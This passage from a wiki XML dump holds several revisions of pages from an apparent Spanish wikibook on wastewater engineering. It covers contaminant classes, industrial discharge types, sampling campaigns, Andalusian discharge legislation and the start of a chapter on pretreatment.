===CONTAMINANTES ESPECÍFICOS. ===

Son microcontaminantes derivados principalmente de los adelantos de
las tecnologías industriales y que a muy escasa concentración ( ppm) tienen un
efecto perjudicial.

Son por ej: Agentes Tensoactivos, Pesticidas, Derivados Halogenados o
Fosforados de Hidrocarburos, Compuestos Orgánicos específicos, Sales
Metálicas, Compuestos eutrofizantes...


====Valoración y Clasificación de los Contaminantes Específicos. ====

La evaluación de los riesgos potenciales ocasionados por los
Contaminantes Específicos requiere conocer aspectos tales como los que
aparecen a continuación:
* Tipo y estructura del compuesto químico
* Propiedades físicas y químicas fundamentales, biodegradabilidad
* Producción total
* Orígenes y vías de distribución, funciones para las que se utiliza y lugares de aplicación
* Condiciones prácticas en las que se realizan a los cauces, los vertidos que contienen esos contaminantes químicas, microbiológicas, radiológicas y toxicológicas en general, así como evaluación periódica de su estado de calidad.

* Cumplimiento de las normativas legales impuestas por las autoridades en materias de aguas, que imponen unos determinados y secuenciales controles analíticos.

En el campo del agua potable de consumo público, los dos puntos
anteriores se explicitan y concretan teniendo en cuenta el suministrador de
agua potable (pública de red o bien envasada) que ha de asegurarse con un
límite razonable de confianza de que el producto servido “siempre” es potable,
es decir, puede ser ingerido sin peligro de provocar ningún tipo de
intoxicaciones (microbiológicas y/o fisico-químicas) en el potencial consumidor.

Esto podría venir marcado por, la “ética” y la “honestidad” de cada
suministrador.

* Cantidades que se vierten según condiciones de utilización.
* Efectos tóxicos u otros efectos nefastos de los contaminantes sobre la calidad de las aguas y su ecología (persistencia, bioacumulación).
* Medios técnicos existentes de lucha contra la contaminación.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=La calidad del agua. Marco jurídico
 |actual=Características de las aguas residuales
 |siguiente=Control de vertidos
}}

[[Categoría:Ingeniería de aguas residuales]]

{{AutoCat}}</text>
      <sha1>inz2e4mgvq3xa29ry858mtnto6rpj41</sha1>
    </revision>
    <revision>
      <id>429989</id>
      <parentid>429958</parentid>
      <timestamp>2026-08-02T09:38:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Ingeniería de aguas residuales]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429989</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14250" sha1="p9fx3b3tjdm8fcu2bo46ty2bqoixbwq" xml:space="preserve">===NECESIDAD DE CONTROLAR ANALÍTICAMENTE EL AGUA. ===

Parece evidente que las características de un determinado tipo de agua
que va a ser utilizada para un uso concreto serán diferentes, o cuanto menos,
no tienen por qué ser idénticas para el agua destinada a otro fin.

En cualquier caso, el control analítico exhaustivo, sistemático y periódico
de un agua viene impuesto por dos condicionantes de tipo general:
* Contrastación y comprobación de sus características físicas.

* Complementando y apoyando lo anterior con fuerza para ser exigido legalmente, se encuadra el aspecto relativo a regulaciones, normativas y leyes de diferentes ámbito territorial de aplicación que han de ser inexcusablemente cumplidas en cuanto al control de la calidad del producto “agua”.


Además, debe controlarse el agua bruta no tratada (agua natural de ríos,
embalses y lagos) que pueda ser susceptible de diferentes usos
( potabilización, cría de peces, moluscos, riegos, usos recreativos) a fin de
determinar la posibilidad o no del uso previsto, así como el grado de
tratamiento industrial necesario para lograr su adecuación de calidad. Para esta
faceta también se dispone de las correspondientes normativas nacionales,
derivadas a su vez, en el caso de España de la Directiva de la CEE.

Otro aspecto a considerar: el de las aguas negras o vertidos residuales
líquidos domésticos y/o industriales. También han de ser sistemáticamente
analizados y controlados debido, de una parte a la valoración de su posible
incidencia negativa sobre el medio ambiente, y la necesidad ulterior de su
depuración antes de su expedición a aquel. Se intentaría evitar de este modo
en lo posible, el alto grado de polución provocado por estas aguas residuales.

En segundo lugar, existen otras regulaciones y normativas (nacionales,
autonómicas y municipales) que imponen un control de emisiones encaminado
a la preservación del cada vez más degradado medio ambiente.


Finalmente, otro aspecto justifica la necesidad del control sistemático del
agua: los procesos de potabilización y/o depuración de agua La única forma
razonable, coherente y lógica de asegurarse el explotador de una ETAP
(Estación de Tratamiento de Agua Potable) o EDAR (Estación Depuradora de
Aguas Residuales) que el Rendimiento del proceso aplicado es o no el
esperado, es decir;- que deben o no acometerse modificaciones en las
diferentes fases del tratamiento industrial de un agua, pasa por la
comprobación vía laboratorio, vía instrumentación de planta en continuo, de
algunas características “claves” de calidad del agua en fase de tratamiento.

===CLASIFICACIÓN DE LAS AGUAS RESIDUALES. ===

AGUA RESIDUAL: Aquella que procede de haber utilizado un agua
natural, o de la red, en un uso determinado. Las A.R. cuando se desaguan se
denominan VERTIDOS y éstos pueden clasificarse en función:
* Del uso prioritario u origen
* De su contenido en determinados contaminantes
Los vertidos residuales arrastran compuestos con los que las aguas han
estado en contacto. Estos compuestos pueden ser:

''a) Según su Naturaleza:''

i) Conservativos: Su concentración en el río depende exactamente de la
ley de la dilución del caudal del vertido al del río.

Generalmente: Compuestos Inorgánicos y estables (C1 ,SO4 )

ii.) No Conservativos: Su concentración en el río no está ligada
directamente a la del vertido. Son todos los compuestos orgánicos e
inorgánicos que pueden alterarse en el río por vía Física, Química o Biológica
(NH4 , fenoles, Materia Orgánica. . .)

Además, entre los compuestos existen fenómenos de tipo:
* Antagonismo: (1 Efecto) Ej. Dureza (al Zn)
* Sinergismo: (1 Efecto) Ej. Escasez de O(al Zn)
A continuación se va a realizar una descripción de los principales tipos
de A.R.


===AGUAS RESIDUALES URBANAS. ===

'''Procedencia de la contaminación en los núcleos urbanos:'''

* Servicios domésticos y públicos
* Limpieza de locales
* Drenado de Aguas Pluviales

'''Tipos de contaminantes:'''

* Materia Orgánica (principalmente) en suspensión y disuelta
* N; P; NaCl y otras sales minerales
* Microcontaminantes procedentes de nuevos productos
* Las A.R. de lavado de calles arrastran principalmente materia sólida
inorgánica en suspensión, además de otros productos (fenoles, plomo -escape
vehículos motor-, insecticidas -jardines-...)

====Características Físico-Químicas====

La Temperatura de las A.R. oscila entre 10-20 oC (15 oC) · Además de
las cargas contaminantes en Materias en suspensión y Materias Orgánicas, las
A.R. contienen otros muchos compuestos como nutrientes (N y P), Cloruros,
detergentes... cuyos valores orientativos de la carga por habitante y día son:
* N amoniacal: 3-10 gr/hab/d
* N total: 6.5-13 gr/hab/d
* P (PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;3-&lt;/sup&gt;) ; 4-8 gr/hab/d
* Detergentes : 7-12 gr/hab/d

En lugares donde existen trituradoras de residuos sólidos las
A.R.(aguas residuales)Urbanas están mucho más cargadas (100 % más)

====Características Biológicas. ====
En las A·R. van numerosos microorganismos., unos patógenos y otros
no. Entre los primeros cabe destacar los virus de la Hepatitis. Por ej. en 1 gr. de
heces de un enfermo existen entre 10-106 dosis infecciosas del virus de la
hepatitis.


El tracto intestinal del hombre contiene numerosas bacterias conocidas
como Organismos COLIFORMES. Cada individuo evacua de 105-4x105
millones de coliformes por día, que aunque no son dañinos, se utilizan como
indicadores de contaminación debido a que su presencia indica la posibilidad
de que existan gérmenes patógenos de más difícil detección.


Las A.R.Urbanas contienen: l06 colif. totales / 100 ml

===AGUAS RESIDUALES INDUSTRIALES. ===

Son las que proceden de cualquier taller o negocio en cuyo proceso de
producción, transformación o manipulación se utilice el agua, incluyéndose los
líquidos residuales, aguas de proceso y aguas de refrigeración. .

Líquidos Residuales: Los que se derivan de la fabricación de productos,
siendo principalmente disoluciones de productos químicos tales como lejías
negras, los baños de curtido de pieles, las melazas de la producción de azúcar,
los alpechines...


Se debe intentar la recuperación de subproductos
A.R. de Proceso: Se originan en la utilización del agua como medio de
transporte, lavado, refrigeración directa... y que puede contaminarse con los
productos de fabricación o incluso de los líquidos residuales.


Generalmente su contaminación es &lt;10% de la de los líquidos
residuales aunque su volumen es 10-50 veces mayor.


Aguas de Refrigeración Indirecta: No han entrado en contacto con los
productos y por tanto la única contaminación que arrastran es su temperatura.

Ahora bien, hoy día hay que considerar también la existencia de productos que
evitan problemas de explotación ( estabilizantes contra las incrustaciones y
corrosiones, algicidas...) que pueden ser contaminantes.


====Tipos de Vertidos Industriales. ====

i) Continuos: Provienen de procesos en los que existe una entrada y una
salida continua de agua (Procesos de Transporte, lavado, refrigeración...)

ii ) Discontinuos: Proceden de operaciones intermedias. Son los más
contaminados ( Baños de decapado, baños de curtidos, lejías negras,
emulsiones...)

Al aumentar el tamaño de la industria, algunos vertidos discontinuos
pueden convertirse en continuos.


====Clasificación de las Industrias según sus Vertidos. ====

Se clasifican en 5 grupos de acuerdo con los contaminantes específicos
que arrastran las A.R.

''CLASIFICACIÓN DE LAS INDUSTRIAS SEGÚN SUS VERTIDOS:''

'''INDUSTRIAS CON EFLUENTES PRINCIPALMENTE ORGÁNICOS'''

* Papeleras
* Azucareras
* Mataderos
* Curtidos
* Conservas ( vegetales, carnes, pescado...)
* Lecherías y subproductos [leche en polvo, mantequilla, queso...)
* Fermentación ( fabricación de alcoholes,levaduras...)
* Preparación de productos alimenticios ( aceites y otros )
* Bebidas
* Lavanderías

'''INDUSTRIAS CON EFLUENTES ORGÁNICOS E INORGÁNICOS'''

* Refinerías y Petroquímicas
* Coquerias
* Textiles 
* Fabricación de productos químicos, varios

'''INDUSTRIAS CON EFLUENTES PRINCIPALMENTE INORGÁNICOS'''

* Limpieza y recubrimiento de metales
* Explotaciones mineras y salinas
* Fabricación de productos químicos, inorgánicos.


'''INDUSTRIAS CON EFLUENTES CON MATERIAS EN SUSPENSIÓN'''

* Lavaderos de mineral y carbón
* Corte y pulido de mármol y otros minerales
* Laminación en caliente y colada continua.


'''INDUSTRIAS CON EFLUENTES DE REFRIGERACIÓN'''

* Centrales térmicas
* Centrales nucleares

====Contaminación Característica de la Industria. ====

Cada actividad industrial aporta una contaminación determinada por lo
que es conveniente conocer el origen del vertido industrial para valorar su
carga contaminante e incidencia en el medio receptor. Cuando se conoce el
origen del vertido, el número de parámetros que definen la carga contaminante
del mismo es reducido.


====Valoración de la Carga Contaminante que vierte la industria. ====

Para superar la dificultad que supone generalizar esta valoración (pues
no existen 2 industrias iguales), al menos cuando se trata de estimar la carga
contaminante contenida en las A.R. con vistas al dimensionamiento de su
planta depuradora, se ha recurrido al concepto de “POBLACION
EQUIVALENTE”. Este valor se deduce dividiendo los Kgr. de DBO(demanda biológica de oxígeno) contenidos
en el A.R., correspondiente a la producción de una unidad determinada, por la
DBO que aporta un habitante por día, valor para el que en Europa se considera
un valor medio de 60 gr. Ahora bien, dado que el término “Población
Equivalente” sólo se refiere a una contaminación de carácter orgánico, a la
hora de dimensionar la planta depuradora seria necesario, al menos, tener en
cuenta además de la DBO, los Sólidos en Suspensión (SS).

En Francia se basaron en los parámetros de DQO, DBO y SS para el
cálculo del canon de vertido. · En Francia y Cataluña existen tablas que
establecen el canon de vertido industrial en función de la producción de la
actividad o el número de operarios. Estos valores los aplican las Agencias
Financieras de Cuenca.

Posterior se han introducido además Sólidos Disueltos (medidos por la
conductividad en mho/cm); N y P

====Características Medias Típicas de las Aguas Residuales de algunas Industrias. ====

No obstante las dificultades apuntadas para establecer unos valores
para las características de las A.R., a continuación señalamos como
orientación los valores más frecuentes para algunas industrias.


''CONTAMINACIÓN CARACTERÍSTICA DE LA INDUSTRIA''

'''AGUAS RESIDUALES DE LA INDUSTRIA PAPELERA'''

* Color
* Materia en suspensión y decantable
* DBO5 u otra que nos defina la materia orgánica
* En algunos casos ( muy pocos ) el pH -


'''INDUSTRIA LECHERA'''

* DBO5 u otra determinación que nos defina la materia orgánica

'''INDUSTRIA DEL CURTIDO'''

* Alcalinidad
* Materia en suspensión y decantable
* DBO5 u otra que nos defina la materia orgánica
* Sulfuros
* Cromo

'''REFINERÍAS'''

* Aceites
* DBO5 u otra que nos defina la materia orgánica
* Fenoles
* Amoniaco
* Sulfuros

'''INDUSTRIAS DE ACABADO DE METALES'''

* pH
* Cianuros
* Metales, según el proceso de acabado

'''LAVADEROS DE MINERAL'''

a) Si son de hierro:


* Sólidos sedimentables
* Sólidos en suspensión después de decantación
b) Si son de otros materiales habrá que detectarlos así como a los
productos tóxicos orgánicos que pueden emplearse como agentes
humectantes o flotantes

'''SIDERURGIAS INTEGRAL'''

* Fenoles
* Alquitranes
* Cianuros libres y complejos
* DBO5
* Sulfuros
* Materias en suspensión
* pH
* Hierro
* Aceites y grasas

'''LAMINACIÓN EN CALIENTE'''

* Aceites y grasas
* Sólidos en suspensión

'''PLANTAS DE ACIDO SULFURICO'''

* Ácidos


* Sólidos sedimentables
* Arsénico, selenio y mercurio


===CONTAMINANTES ESPECÍFICOS. ===

Son microcontaminantes derivados principalmente de los adelantos de
las tecnologías industriales y que a muy escasa concentración ( ppm) tienen un
efecto perjudicial.

Son por ej: Agentes Tensoactivos, Pesticidas, Derivados Halogenados o
Fosforados de Hidrocarburos, Compuestos Orgánicos específicos, Sales
Metálicas, Compuestos eutrofizantes...


====Valoración y Clasificación de los Contaminantes Específicos. ====

La evaluación de los riesgos potenciales ocasionados por los
Contaminantes Específicos requiere conocer aspectos tales como los que
aparecen a continuación:
* Tipo y estructura del compuesto químico
* Propiedades físicas y químicas fundamentales, biodegradabilidad
* Producción total
* Orígenes y vías de distribución, funciones para las que se utiliza y lugares de aplicación
* Condiciones prácticas en las que se realizan a los cauces, los vertidos que contienen esos contaminantes químicas, microbiológicas, radiológicas y toxicológicas en general, así como evaluación periódica de su estado de calidad.

* Cumplimiento de las normativas legales impuestas por las autoridades en materias de aguas, que imponen unos determinados y secuenciales controles analíticos.

En el campo del agua potable de consumo público, los dos puntos
anteriores se explicitan y concretan teniendo en cuenta el suministrador de
agua potable (pública de red o bien envasada) que ha de asegurarse con un
límite razonable de confianza de que el producto servido “siempre” es potable,
es decir, puede ser ingerido sin peligro de provocar ningún tipo de
intoxicaciones (microbiológicas y/o fisico-químicas) en el potencial consumidor.

Esto podría venir marcado por, la “ética” y la “honestidad” de cada
suministrador.

* Cantidades que se vierten según condiciones de utilización.
* Efectos tóxicos u otros efectos nefastos de los contaminantes sobre la calidad de las aguas y su ecología (persistencia, bioacumulación).
* Medios técnicos existentes de lucha contra la contaminación.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=La calidad del agua. Marco jurídico
 |actual=Características de las aguas residuales
 |siguiente=Control de vertidos
}}

{{AutoCat}}</text>
      <sha1>p9fx3b3tjdm8fcu2bo46ty2bqoixbwq</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Control de vertidos</title>
    <ns>0</ns>
    <id>12666</id>
    <revision>
      <id>429959</id>
      <parentid>280102</parentid>
      <timestamp>2026-08-02T09:28:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429959</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7247" sha1="r7orcttsjbtx6xfi3xcahsp19udy1zy" xml:space="preserve">===1. INTRODUCCIÓN:===

Se define vertido como material de desecho que las instalaciones industriales o
energéticas arrojan a vertederos o al agua.

Los vertidos se pueden clasificar según su origen en vertidos urbanos o
vertidos industriales. Las características principales de estos tipos de vertidos
se han visto en otros capítulos, por lo que en este apartado nos vamos a
centrar en la planificación de un control de vertidos y de una campaña de
muestreo.

===2. CARACTERIZACIÓN DE UN VERTIDO===

A la hora de atacar el estudio de un vertido, lo primero que hay que hacer es
caracterizarlo. La caracterización del vertido consiste en la descripción física,
química y biológica del efluente en cuestión. Para ello habrá que determinar
una serie de parámetros físicos, químicos y biológicos. Parte de estas
determinaciones se hacen en el laboratorio y otra parte en campo, mediante
mediciones in situ o encuesta.

En campo se mide temperatura, pH, conductividad, oxígeno disuelto y caudal.
Estos son los parámetros más comunes, aparte, también se puede medir cloro
total, residual, color, turbidez....

Los parámetros más usuales en laboratorio son DQO, DBO, TOC, cloruros,
nitratos, nitritos, sulfitos, amonio, nitrógeno total, detergentes, fenoles,
plaguicidas, metales pesados, hidrocarburos, microbiología. A esta lista se le
pueden añadir otros parámetros más específicos, dependiendo de la naturaleza
del vertido, como pueden ser la radiactividad y otros.


===3. PLANIFICACIÓN DE UNA CAMPAÑA DE MUESTREO:===

Para poder hacer una buena caracterización de un vertido, es fundamental una
correcta planificación de la campaña de muestreo, ya que la validez del
posterior trabajo de laboratorio depende de la representatividad de las
muestras que se van a analizar.

A la hora de planificar el control de un vertido hay algunas particularidades que
hay que tener en cuenta.

====3.1.Elección del punto de toma de muestra y toma de muestra: ====

En industrias suele ser la arqueta de salida. Normalmente en un control no nos
interesan detalles del proceso productivo, sino la calidad y cantidad del efluente
que llega al cauce receptor. La arqueta de salida nos permite tomar una
muestra del efluente resultante de la mezcla de todas las aguas de los distintos
procesos de la industria.

El vertido puede ser en continuo o en discontinuo y la composición y caudal de
éste puede variar dependiendo de la hora del día e incluso de la estación del
año. Para intentar tener en cuenta esta variabilidad, la toma de muestras se
suele realizar en turnos de 24 h. tomando cada hora una muestra. Hay que
anotar los datos de campo de cada toma (Tª, pH, conductividad, caudal, etc…)
y posteriormente realizar una muestra compuesta de las anteriores.

La medida de caudal se realiza en el momento de la toma de muestra. Para
aforar una arqueta de salida, es preciso obtener el dato de la sección de la
lámina del efluente y la velocidad que éste lleva. El efluente suele llegar en
tubería, por lo que se mide la altura de la lámina de agua y, sabiendo el
diámetro de la tubería se obtiene la sección (generalmente se dispone e unas
tablas e conversión que facilitan el cálculo). Para calcular la velocidad se utiliza
una sonda de velocidad. Otra alternativa es instalar un caudalímetro. El caudal
es el producto del área de la sección de la lámina de líquido multiplicado por la
velocidad que éste lleva.

Hemos seleccionado el punto de toma de muestra en una industria. Si
fuésemos a un vertido en un tramo de río, el estudio se complica. El punto de
toma de muestra en el río estará situado en la zona donde se haya producido el
vertido o incidencia. Como la muestra debe ser representativa del vertido, hay
que tomarla en un punto que esté alejado de la orilla (en una zona de
profundidad media del tramo de río), donde se produzca mezcla, por ejemplo
en una zona de corriente. Además interesa tomar una muestra del vertido en sí,
otra aguas arriba del vertido para tener un “blanco”, es decir, tener datos del
agua de ese río antes de que se produzca el vertido. Aguas debajo del vertido
se tomarán a intervalos de distancias fijas (que podrán ser desde metros hasta
kilómetros dependiendo del tipo de vertido y de las características del río) para
observar como afecta la dilución al vertido. Y, si se puede, una muestra del
vertido antes de entrar al cauce.

En embalses, por ejemplo, el agua está estratificada. Por efecto del
calentamiento en superficie y, al tratarse de un cuerpo de agua semicerrado se
produce una termoclina con inversión térmica. El resultado es una
estratificación por capas. Una primera capa con gradiente de temperatura
inverso, y una capa inferior de temperatura constante baja y muy poco oxígeno
disuelto. La toma de muestras debe integrar los distintos tipos de agua. Para
situar las distintas capas se usa una sonda multiparamétrica, que es un aparato
que mide distintos parámetros a la vez y a la profundidad que precisemos. La
muestra se toma con una botella tomamuestras. Las hay de muy distintos tipos.

Tienen en común la característica de llenarse de agua a la profundidad que nos
interesa.

Si se trata de aguas subterráneas, es necesario además medir el nivel del agua
en el sondeo o en el pozo.

Hay que ser consciente de la importancia de las medidas in situ. Los equipos
de campo deben estar en perfecto estado de funcionamiento y se deben
calibrar antes de la medida. Los datos de campo sirven en muchas ocasiones
para cálculos de canon de vertido, contraste de ensayos en laboratorio o para
denunciar. Deben ser, por tanto, datos fiables.

Para finalizar con el punto de toma de muestra, decir que hay que situarlo
geográficamente. Para ello debemos ir equipados con un GPS. Además hay
que dibujar un croquis de acceso al punto y fotografiarlo. Éstos datos se
reflejarán luego en una ficha del punto.

Los datos de campo se consignan en un estadillo. Puede ser que haya que
rellenar, además una cadena de custodia, que es un documento donde quedan
reflejadas todas las manipulaciones que sufre la muestra desde que es tomada
por el técnico hasta su entrega en el laboratorio de análisis. Las muestras a su
vez deben ir correctamente etiquetadas para su fácil identificación. Las
etiquetas deben ser legibles. Si hay posibilidad de deterioro en el transporte
(que se mojen con el hielo, que se manchen con el roce de unas con otras,
etc...) se puede rotular el bote, etiquetar en el cuerpo y en el tapón. Cualquier
solución es válida con tal de que la muestra esté siempre identificada.

====3.2 Equipos de muestreo de campo====
'''pH-METRO:'''

(falta imagen)

'''SONDA DE OXÍGENO DISUELTO:'''

(falta imagen)

'''SONDA MULTIPARAMÉTRICA:'''

(falta imagen)

'''EQUIPO PARA REALIZAR ANÁLISIS MICROBIOLOGICOS EN CAMPO:'''

(falta imagen)

'''ETIQUETA'''

(falta imagen)

'''CADENA DE CUSTODIA'''

(falta imagen)

'''ACTA'''

(falta imagen)

'''CROQUIS:'''

(falta imagen)


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Características de las aguas residuales
 |actual=Control de vertidos
 |siguiente=Documentación administrativa de control de vertidos
}}

{{AutoCat}}</text>
      <sha1>r7orcttsjbtx6xfi3xcahsp19udy1zy</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Documentación administrativa de control de vertidos</title>
    <ns>0</ns>
    <id>12667</id>
    <revision>
      <id>429960</id>
      <parentid>280103</parentid>
      <timestamp>2026-08-02T09:28:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429960</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2012" sha1="q163in7ohv2r84zo7agv27thyjoirka" xml:space="preserve">==CONTROL DE VERTIDOS. DOCUMENTACIÓN ADMINISTRATIVA==

ÍNDICE

# '''LEY 7/94, DE 18 DE MAYO, DE PROTECCIÓN AMBIENTAL'''
# '''DECRETO 156/1996, DE 30 DE ABRIL, POR EL QUE SE APRUEBA EL REGLAMENTO DE INFORME AMBIENTAL'''
# '''DECRETO 97/1994, DE 3 DE MAYO, DE ASIGNACIÓN DE COMPETENCIAS EN MATERIA DE VERTIDOS AL DOMINIO PÚBLICO MARÍTIMO TERRESTRE Y DE USOS EN ZONAS DE SERVIDUMBRE DE PROTECCIÓN. ''' (BOJA 97/1994, de 28 de junio).
# '''DECRETO 14/1996, DE 16 DE ENERO, POR EL QUE SE APRUEBA EL REGLAMENTO DE LA CALIDAD DE LAS AGUAS LITORALES. ''' (BOJA 19/1996, de 8 de febrero)
# '''ORDEN DE LA CONSEJERÍA DE MEDIO AMBIENTE DE 14 DE FEBRERO DE 1997, POR LA QUE SE CLASIFICAN LAS AGUAS LITORALES ANDALUZAS Y SE ESTABLECEN LOS OBJETIVOS DE CALIDAD DE LAS AGUAS AFECTADAS DIRECTAMENTE POR LOS VERTIDOS, EN DESARROLLO DEL DECRETO 14/1996, DE 16 DE ENERO, POR EL QUE SE APRUEBA EL REGLAMENTO DE CALIDAD DE LAS AGUAS LITORALES. ''' (BOJA 27/1997, de 4 de marzo. Corrección de errores BOJA 143/1997, de 11 de diciembre).
# '''DECRETO 334/1994, DE 4 DE OCTUBRE, POR EL QUE SE REGULA EL PROCEDIMIENTO PARA LA TRAMITACIÓN DE AUTORIZACIONES DE VERTIDO AL DOMINIO PÚBLICO MARÍTIMO-TERRESTRE Y DE USO EN ZONA DE SERVIDUMBRE DE PROTECCIÓN. ''' (BOJA 175/1994, de 4 de noviembre).
# '''LEY 221/1988 DE 28 DE JULIO DE 1988 DE COSTAS ( BOE 181,DE 29/06/88) '''
# '''ORDEN DE LA CONSEJERÍA DE MEDIO AMBIENTE DE 24 DE JULIO DE 1997, POR LA QUE SE APRUEBA EL PLIEGO DE CONDICIONES GENERALES PARA EL OTORGAMIENTO DE AUTORIZACIONES DE VERTIDO AL DOMINIO PÚBLICO MARÍTIMO-TERRESTRE. ''' (BOJA 107/1997, de 13 de septiembre. Corrección de errores BOJA 76/1998, de 9 de julio).


(faltan vínculos a la legislación publicada)


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Control de vertidos
 |actual=Documentación administrativa de control de vertidos
 |siguiente=Estación depuradora de aguas residuales
}}

[[Categoría:Ingeniería de aguas residuales|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>q163in7ohv2r84zo7agv27thyjoirka</sha1>
    </revision>
    <revision>
      <id>429987</id>
      <parentid>429960</parentid>
      <timestamp>2026-08-02T09:38:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Ingeniería de aguas residuales]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429987</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1948" sha1="8nz4bix0d2jmvasb39b1511exymvnom" xml:space="preserve">==CONTROL DE VERTIDOS. DOCUMENTACIÓN ADMINISTRATIVA==

ÍNDICE

# '''LEY 7/94, DE 18 DE MAYO, DE PROTECCIÓN AMBIENTAL'''
# '''DECRETO 156/1996, DE 30 DE ABRIL, POR EL QUE SE APRUEBA EL REGLAMENTO DE INFORME AMBIENTAL'''
# '''DECRETO 97/1994, DE 3 DE MAYO, DE ASIGNACIÓN DE COMPETENCIAS EN MATERIA DE VERTIDOS AL DOMINIO PÚBLICO MARÍTIMO TERRESTRE Y DE USOS EN ZONAS DE SERVIDUMBRE DE PROTECCIÓN. ''' (BOJA 97/1994, de 28 de junio).
# '''DECRETO 14/1996, DE 16 DE ENERO, POR EL QUE SE APRUEBA EL REGLAMENTO DE LA CALIDAD DE LAS AGUAS LITORALES. ''' (BOJA 19/1996, de 8 de febrero)
# '''ORDEN DE LA CONSEJERÍA DE MEDIO AMBIENTE DE 14 DE FEBRERO DE 1997, POR LA QUE SE CLASIFICAN LAS AGUAS LITORALES ANDALUZAS Y SE ESTABLECEN LOS OBJETIVOS DE CALIDAD DE LAS AGUAS AFECTADAS DIRECTAMENTE POR LOS VERTIDOS, EN DESARROLLO DEL DECRETO 14/1996, DE 16 DE ENERO, POR EL QUE SE APRUEBA EL REGLAMENTO DE CALIDAD DE LAS AGUAS LITORALES. ''' (BOJA 27/1997, de 4 de marzo. Corrección de errores BOJA 143/1997, de 11 de diciembre).
# '''DECRETO 334/1994, DE 4 DE OCTUBRE, POR EL QUE SE REGULA EL PROCEDIMIENTO PARA LA TRAMITACIÓN DE AUTORIZACIONES DE VERTIDO AL DOMINIO PÚBLICO MARÍTIMO-TERRESTRE Y DE USO EN ZONA DE SERVIDUMBRE DE PROTECCIÓN. ''' (BOJA 175/1994, de 4 de noviembre).
# '''LEY 221/1988 DE 28 DE JULIO DE 1988 DE COSTAS ( BOE 181,DE 29/06/88) '''
# '''ORDEN DE LA CONSEJERÍA DE MEDIO AMBIENTE DE 24 DE JULIO DE 1997, POR LA QUE SE APRUEBA EL PLIEGO DE CONDICIONES GENERALES PARA EL OTORGAMIENTO DE AUTORIZACIONES DE VERTIDO AL DOMINIO PÚBLICO MARÍTIMO-TERRESTRE. ''' (BOJA 107/1997, de 13 de septiembre. Corrección de errores BOJA 76/1998, de 9 de julio).


(faltan vínculos a la legislación publicada)


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Control de vertidos
 |actual=Documentación administrativa de control de vertidos
 |siguiente=Estación depuradora de aguas residuales
}}

{{AutoCat}}</text>
      <sha1>8nz4bix0d2jmvasb39b1511exymvnom</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Pretratamiento</title>
    <ns>0</ns>
    <id>12668</id>
    <revision>
      <id>429962</id>
      <parentid>413798</parentid>
      <timestamp>2026-08-02T09:28:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429962</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="38102" sha1="cmjdjqycmrb86n06kgdoka5fz10e9rd" xml:space="preserve">===Introducción=== 

La persona que escribió este articulo no sabía escribir, por lo cual este documento carece de buena redacción y coherencia en algunas oraciones. De una manera u otra casi todas las cosas terminan por llegar a la alcantarilla, y de esta a nuestra planta de tratamiento de aguas residuales. Latas, botellas, plásticos, trapos, ladrillos, piedras. Todos estos materiales, si no son eliminados eficazmente, pueden producir serias averías en los equipos. Las piedras, arena, latas, etc. Producen un gran desgaste de las tuberías y de las conducciones así como de las bombas.  

A nuestra planta también llegan aceites y grasas de todo tipo, si estas grasas y aceites no son eliminados en el pretratamiento, hace que nuestro tratamiento biológico se ralentice y el rendimiento de dicho tratamiento decaiga, obteniendo un efluente de baja calidad.  

Con todo lo anterior expuesto, podemos ver la importancia del pretratamiento, escatimar medios o esfuerzos en esta parte de la planta, es bajar rendimiento de todo la planta, aunque tuviera el mejor proceso biológico.

===Objetivos=== 

Con un pretratamiento pretendemos separar del agua residual tanto por operaciones físicas como por operaciones mecánicas, la mayor cantidad de materias que por su naturaleza (grasas, aceites, etc.) o por su tamaño (ramas, latas, etc.) crearían problemas en los tratamientos posteriores (obstrucción de tuberías y bombas, depósitos de arenas, rotura de equipos,..)

===Operaciones de pretratamiento=== 

Las operaciones de pretratamiento incluidas en una EDAR dependen de: 

* La procedencia del agua residual ( doméstica, industrial, etc). 

* La calidad del agua bruta a tratar (mayor o menor cantidad de grasas, arenas sólidos,...) 

* Del tipo de tratamiento posterior de la EDAR 

* De la importancia de la instalación 

* etc. 

Las operaciones son: 

*Separación de grandes sólidos (Pozo de Gruesos)

* Desbaste 

* Tamizado 

* Dilaceración 

* Desarenado 

* Desaceitado-desengrasado 

* Preaireación 

En una planta depuradora no es necesaria la instalación de todas estas operaciones. Dependerá de las características antes descritas. Por ejemplo, para un agua residual industrial raramente será necesario un desbaste.

===Separación de grandes sólidos (pozo de gruesos)===

